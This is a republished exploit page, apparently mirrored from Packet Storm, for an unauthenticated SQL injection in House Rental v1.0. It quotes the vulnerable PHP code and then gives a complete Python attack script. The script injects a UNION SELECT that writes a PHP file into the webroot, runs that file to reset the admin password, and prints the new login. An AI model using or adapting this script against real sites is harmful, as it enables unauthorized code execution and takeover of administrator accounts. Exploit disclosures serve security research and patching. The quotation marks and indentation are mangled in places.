House Rental 1.0 SQL Injection ≈ Packet Storm – Digitalmunition




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Published on August 11th, 2020 📆 | 3592 Views ⚑

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House Rental 1.0 SQL Injection ≈ Packet Storm

# Exploit Title: House Rental v1.0 – PDO Bypass SQL Injection – Unauthenticated Code Execution – Change Admin Password
# Exploit Author: Bobby Cooke (boku) & Adeeb Shah (@hyd3sec)
# Date: 2020-08-07
# Vendor Homepage: https://projectworlds.in
# Software Link: https://projectworlds.in/wp-content/uploads/2019/06/home-rental.zip
# Version: 1.0
# Tested On: Windows 10 Pro (x64_86) + XAMPP | Python 2.7
# CWE-89: Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)
# OWASP Top Ten 2017: A1:2017-Injection
# CVSS Base Score: 10.0 | Impact Subscore: 6.0 | Exploitability Subscore: 3.9
# CVSS Vector: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
# Vulnerability Description:
# House Rental v1.0 suffers from an unauthenticated SQL Injection vulnerability allowing remote attackers
# to execute arbitrary code on the hosting webserver via sending a malicious POST request.
# Vulnerable Source Code:
# /config/config.php
# 11 try {
# 12 $connect = new PDO(“mysql:host=”.dbhost.”; dbname=”.dbname, dbuser, dbpass);
# 13 $connect->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
# /index.php
# 5 if(isset($_POST[‘search’])) {
# 7 $keywords = $_POST[‘keywords’];
# 11 $keyword = explode(‘,’, $keywords);
# 12 $concats = “(“;
# 13 $numItems = count($keyword);
# 15 foreach ($keyword as $key => $value) {
# 17 if(++$i === $numItems){
# 18 $concats .= “‘”.$value.”‘”;
# 19 }else{
# 20 $concats .= “‘”.$value.”‘,”;
# 23 $concats .= “)”;
# 47 $stmt = $connect->prepare(“SELECT * FROM room_rental_registrations_apartment WHERE country IN $concats OR country IN $loc OR state IN $concats OR state IN $loc OR city IN $concats OR city IN $loc OR address IN $concats OR address IN $loc OR rooms IN $concats OR landmark IN $concats OR landmark IN $loc OR rent IN $concats OR deposit IN $concats”);
# 48 $stmt->execute();

import requests, sys, re, json
from colorama import Fore, Back, Style

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
F = [Fore.RESET,Fore.BLACK,Fore.RED,Fore.GREEN,Fore.YELLOW,Fore.BLUE,Fore.MAGENTA,Fore.CYAN,Fore.WHITE]
S = [Style.RESET_ALL,Style.DIM,Style.NORMAL,Style.BRIGHT]
ok = S[3]+F[2]+’)’+F[5]+’+++’+F[2]+'[‘+F[8]+’========> ‘+S[0]+F[0]
err = S[3]+F[2]+’< ========'+F[2]+'('+F[5]+'+++'+F[2]+'( '+F[0]+S[0]

def sig():
SIG = F[2]+” .—–.._ ,–. “+F[5]+” .__ .__________n”
SIG += F[2]+” | .. > “+F[4]+”___”+F[2]+” | | .–. “+F[5]+” | |__ ___.__. __| _\_____ \ ______ ____ ____n”
SIG += F[2]+” | |.’ ,'”+F[4]+”-‘”+F[2]+”* *”+F[4]+”‘-.”+F[2]+” |/ /__ __ “+F[5]+” | | < | |/ __ | _(__ < / ____/ __ _/ ___\n"
SIG += F[2]+” | < "+F[4]+"/ "+F[2]+"* * *"+F[4]+" \ "+F[2]+"/ \/ \ "+F[5]+" | Y \___ / /_/ | / \\___ \\ ___\ \___n"
SIG += F[2]+” | |> ) “+F[2]+”* *”+F[4]+” / “+F[2]+”\ \ “+F[5]+” |___| / ________ |/______ /____ >\___ \___ >n”
SIG += F[2]+” |____..- “+F[4]+”‘-.._..-‘”+F[2]+”_|\___|._..\___\”+F[5]+” \/\/ \/ \/ \/ \/ \/n”
SIG += F[2]+” “+F[2]+”_______github.com/boku7_____ “+F[5]+” _______github.com/hyd3sec____n_”+F[0]+S[0]
return SIG

def header():
head = S[3]+F[2]+’ — House Rental v1.0 | SQL Injection – Change Admin Password —n’+S[0]
return head

def formatHelp(STRING):
return S[3]+F[2]+STRING+S[0]

if __name__ == “__main__”:
print(header())
print(sig())
if len(sys.argv) != 2:
print(err+formatHelp(“Usage:t python %s ” % sys.argv[0]))
print(err+formatHelp(“Example:t python %s ‘http://172.16.65.130/home-rental/'” % sys.argv[0]))
sys.exit(-1)
SERVER_URL = sys.argv[1]
if not re.match(r”.*/$”, SERVER_URL):
SERVER_URL = SERVER_URL+’/’
INDEX_URL = SERVER_URL + ‘index.php’
EXECUTE_URL = SERVER_URL + ‘execute.php’
LOGIN_URL = SERVER_URL + ‘auth/login.php’
s = requests.Session()
get_session = s.get(INDEX_URL, verify=False)
pdata = {‘keywords’:’1337′) UNION SELECT all ‘1,UPDATED,ADMIN,PASSWORD,TO,boku,aaaaaa,city,landmark,rent,deposit,plotnum,apartName,aptNum,rooms,floor,purpose,own,area,address,accomd,< ?php require "config/config.php";$stmt=$connect->prepare(“UPDATE users set password=\’17d8e2e8233d9a6ae428061cb2cdf226\’ WHERE username=\’admin\'”);$stmt->execute();?>,image,open,other,1,2020-08-01 14:42:11,2020-08-01 14:42:11,1′ into OUTFILE ‘../../htdocs/home-rental/execute.php’ — boku’, ‘location’:”,’search’:’search’}
SQLi = s.post(url=INDEX_URL, data=pdata, verify=False)
if SQLi.status_code == 200:
print(ok+”Sent “+F[2]+S[3]+”SQL Injection”+F[0]+S[0]+” POST Request to “+F[5]+S[3]+INDEX_URL+F[0]+S[0]+” with “+F[2]+S[2]+”payload”+F[0]+S[0]+”:”)
print(S[3]+F[2]+json.dumps(pdata, sort_keys=True, indent=4)+F[0]+S[0])
else:
print(err+’Cannot send payload to webserver.’)
sys.exit(-1)
try:
print(ok+”Executing “+F[2]+S[3]+”SQL Injection”+F[0]+S[0]+” payload to change “+F[2]+S[2]+”admin password”+F[0]+S[0])
EXECUTE = s.get(url=EXECUTE_URL, verify=False)
except:
print(err+’Failed to connect to ‘++F[2]+S[3]+EXECUTE_URL+F[0]+S[0]+’to execute payload’)
sys.exit(-1)
print(ok+F[2]+S[3]+”SQL Injection payload executed!”+F[0]+S[0])
print(ok+F[2]+S[3]+”Login at “+F[5]+S[3]+LOGIN_URL+F[0]+S[0]+” with creds: “+F[2]+S[2]+”admin:boku”+F[0]+S[0])

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